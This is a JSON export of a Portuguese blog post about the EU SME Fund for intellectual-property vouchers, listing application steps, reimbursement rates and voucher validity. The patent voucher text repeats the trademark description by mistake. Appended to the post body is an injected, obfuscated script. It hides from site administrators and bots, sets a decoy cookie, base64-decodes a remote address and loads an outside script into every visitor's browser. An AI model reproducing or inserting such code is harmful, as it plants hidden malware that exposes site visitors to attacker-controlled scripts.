{"id":21811,"date":"2023-06-19T13:48:16","date_gmt":"2023-06-19T13:48:16","guid":{"rendered":"https:\/\/reward.pt\/?p=21811"},"modified":"2026-04-19T04:35:46","modified_gmt":"2026-04-19T04:35:46","slug":"fundo-pme-candidaturas-ate-8-dezembro-2023","status":"publish","type":"post","link":"https:\/\/reward.pt\/en\/fundo-pme-candidaturas-ate-8-dezembro-2023\/","title":{"rendered":"Fundo PME: Candidaturas at\u00e9 8 de dezembro 2023"},"content":{"rendered":"<p><strong>Tabela de conte\u00fados<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"#o-que-e-fundo-pme\">O que \u00e9 o Fundo PME (SME Fund)?<\/a><\/li>\n\n\n\n<li><a href=\"#candidatura-fundo-pme\">Como se realiza o processo de candidatura ao fundo?<\/a><\/li>\n\n\n\n<li><a href=\"#vouchers-fundo-pme\">Quais s\u00e3o os 4 vouchers inclu\u00eddos no Fundo PME?<\/a><\/li>\n\n\n\n<li><a href=\"#validade-voucher-fundo-pme\">Qual a validade dos vouchers?<\/a><\/li>\n\n\n\n<li><a href=\"#conclusao\">Conclus\u00e3o<\/a><\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"o-que-e-fundo-pme\">O que \u00e9 o Fundo PME (SME Fund)?<\/h3>\n\n\n\n<p id=\"o-que-e-fundo-pme\">A Comiss\u00e3o Europeia lan\u00e7ou o SME Fund, ou fundo PME, ao qual as PME podem apresentar as suas candidaturas, para permitir uma recupera\u00e7\u00e3o econ\u00f3mica mais r\u00e1pida dentro da Uni\u00e3o Europeia (UE) e uma maior resili\u00eancia do tecido empresarial europeu.<\/p>\n\n\n\n<p>O Fundo PME (SME Fund) foi lan\u00e7ado com a ajuda do EUIPO, Instituto da Propriedade Intelectual da Uni\u00e3o Europeia e o per\u00edodo de candidaturas ao mesmo decorre at\u00e9 dia 8 de dezembro 2023.<\/p>\n\n\n\n<p>Este fundo destinado a pequenas e m\u00e9dias empresas da UE protege os ativos intang\u00edveis, com direitos de propriedade industrial, de forma a aumentar a competitividade, inova\u00e7\u00e3o e crescimento econ\u00f3mico do tecido empresarial portugu\u00eas de forma a permitir que as PME possam aumentar o investimento em propriedade intelectual e a partir destes ativos possam gerar receitas ou proteger-se de infra\u00e7\u00f5es relacionadas com patentes, marcas ou design.<\/p>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"candidatura-fundo-pme\">Como se realiza o processo de candidatura ao fundo?<\/h3>\n\n\n\n<p id=\"candidatura-fundo-pme\">O processo de candidaturas ao Fundo PME consiste em 4 passos.<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Submiss\u00e3o de candidatura para subven\u00e7\u00e3o<\/li>\n\n\n\n<li>Recebimento da concess\u00e3o da subven\u00e7\u00e3o e respetivos vales<\/li>\n\n\n\n<li>Solicita\u00e7\u00e3o e pagamento de atividades de Propriedade Intelectual<\/li>\n\n\n\n<li>Obten\u00e7\u00e3o de reembolso<\/li>\n<\/ol>\n\n\n\n<p>Com o SME Fund as pequenas e m\u00e9dias empresas podem solicitar um reembolso que abrange parte das despesas relacionadas com pr\u00e9-diagn\u00f3stico de Propriedade Intelectual.<\/p>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"vouchers-fundo-pme\">Quais s\u00e3o os 4 vouchers inclu\u00eddos no Fundo PME?<\/h3>\n\n\n\n<p id=\"vouchers-fundo-pme\">A seguir \u00e0 admiss\u00e3o de candidatura \u00e9 realizada a emiss\u00e3o de voucher que podem ser ativados para o reembolso de parte das taxas de 4 modalidades pr\u00e9-definidas a ser apoiadas:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Voucher 01<\/strong> \u2013 IP Scan: Destina-se a aconselhamento \u00e0s PME sobre o potencial e valor dos ativos de Propriedade Industrial para o desenvolvimento das suas atividades.<ul><li>Reembolso de 90% das despesas at\u00e9 o total de 810\u20ac<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Servi\u00e7os prestados por peritos em Propriedade Industrial designados pelo INPI<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Voucher 02<\/strong> \u2013 Pedidos de registo de marcas e desenhos ou modelos nacionais, regionais e da UE: Os direitos de PI s\u00e3o as marcas e desenhos ou modelos junto do INPI, do IPI do Benelux ou EUIPO.<ul><li>Reembolso de 75% (pedidos de registo de marcas e desenhos ou modelos nacionais, regionais e (UE) do valor das taxas at\u00e9 o total de 1000\u20acInclui taxas de pedido, classe, exame, registo, publica\u00e7\u00e3o e adiamento de publica\u00e7\u00e3o<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Registo de log\u00f3tipos est\u00e1 inclu\u00eddo visto ser admiss\u00edvel na legisla\u00e7\u00e3o de Portugal<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Voucher 02<\/strong> &#8211; Pedidos de registo de marcas e desenhos ou modelos via OMPI: Apoio ao crescimento das PME da Uni\u00e3o Europeia a uma escala mais internacional, as taxas eleg\u00edveis comportam pedidos de marcas e desenhos ou modelos internacionais com sistemas geridos pela OMPI.\n<ul class=\"wp-block-list\">\n<li>Reembolso de 50% (pedidos internacionais de registo de marcas e desenhos ou modelos via OMPI) do valor das taxas at\u00e9 o total de 1000\u20ac<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Voucher 03<\/strong> \u2013 Patentes nacionais e europeias: Apoio ao crescimento das PME da Uni\u00e3o Europeia a uma escala mais internacional, as taxas eleg\u00edveis comportam pedidos de marcas e desenhos ou modelos internacionais com sistemas geridos pela OMPI.<ul><li>Reembolso de 75% do valor das taxas, at\u00e9 o total de 1500\u20acInclui taxas de Pedido de Patente, Pedido provis\u00f3rio de patente (pedido), Pedido provis\u00f3rio de patente (pesquisa), Pedido provis\u00f3rio de patente (Convers\u00e3o de pedido provis\u00f3rio em pedido definitivo), Pedido de Certificado Complementar de Prote\u00e7\u00e3o, Prorroga\u00e7\u00e3o por 6 meses da validade de um certificado complementar de prote\u00e7\u00e3o relativo a medicamentos para uso pedi\u00e1trico;<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Inclui taxas de pedido e pesquisa para patentes europeias.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Voucher 04<\/strong> \u2013 Variedades vegetais protegidas no \u00e2mbito comunit\u00e1rio<ul><li>Reembolso de 50% do valor da taxa, at\u00e9 o total de 225\u20ac<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Aplic\u00e1vel \u00e0 taxa de pedido online<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>Cada PME pode solicitar um voucher por tipo de atividade de PI dentro das regras e dos limites de financiamento previstos.\u200b<\/p>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"validade-voucher-fundo-pme\">Qual a validade dos vouchers?<\/h3>\n\n\n\n<p id=\"validade-voucher-fundo-pme\">Para IP Scan, Marcas, Design e Patentes, os vouchers s\u00e3o v\u00e1lidos durante 2 meses a contar da rece\u00e7\u00e3o da subven\u00e7\u00e3o e a validade pode ser prorrogada por mais 2 meses. Para Variedades vegetais protegidas no \u00e2mbito comunit\u00e1rio, os vouchers s\u00e3o v\u00e1lidos durante 2 meses a contar da rece\u00e7\u00e3o da subven\u00e7\u00e3o e a sua validade pode ser prorrogada por mais 4 meses.<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"conclusao\">Conclus\u00e3o<\/h3>\n\n\n\n<p id=\"conclusao\">Este fundo representa uma oportunidade para as PME portuguesas fortalecerem a sua competitividade e inova\u00e7\u00e3o, ao proteger os seus ativos intang\u00edveis. Atrav\u00e9s do apoio financeiro oferecido, as empresas podem investir na prote\u00e7\u00e3o da sua propriedade intelectual e aumentar a sua resili\u00eancia e capacidade de gerar receitas.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Tabela de conte\u00fados O que \u00e9 o Fundo PME (SME Fund)? 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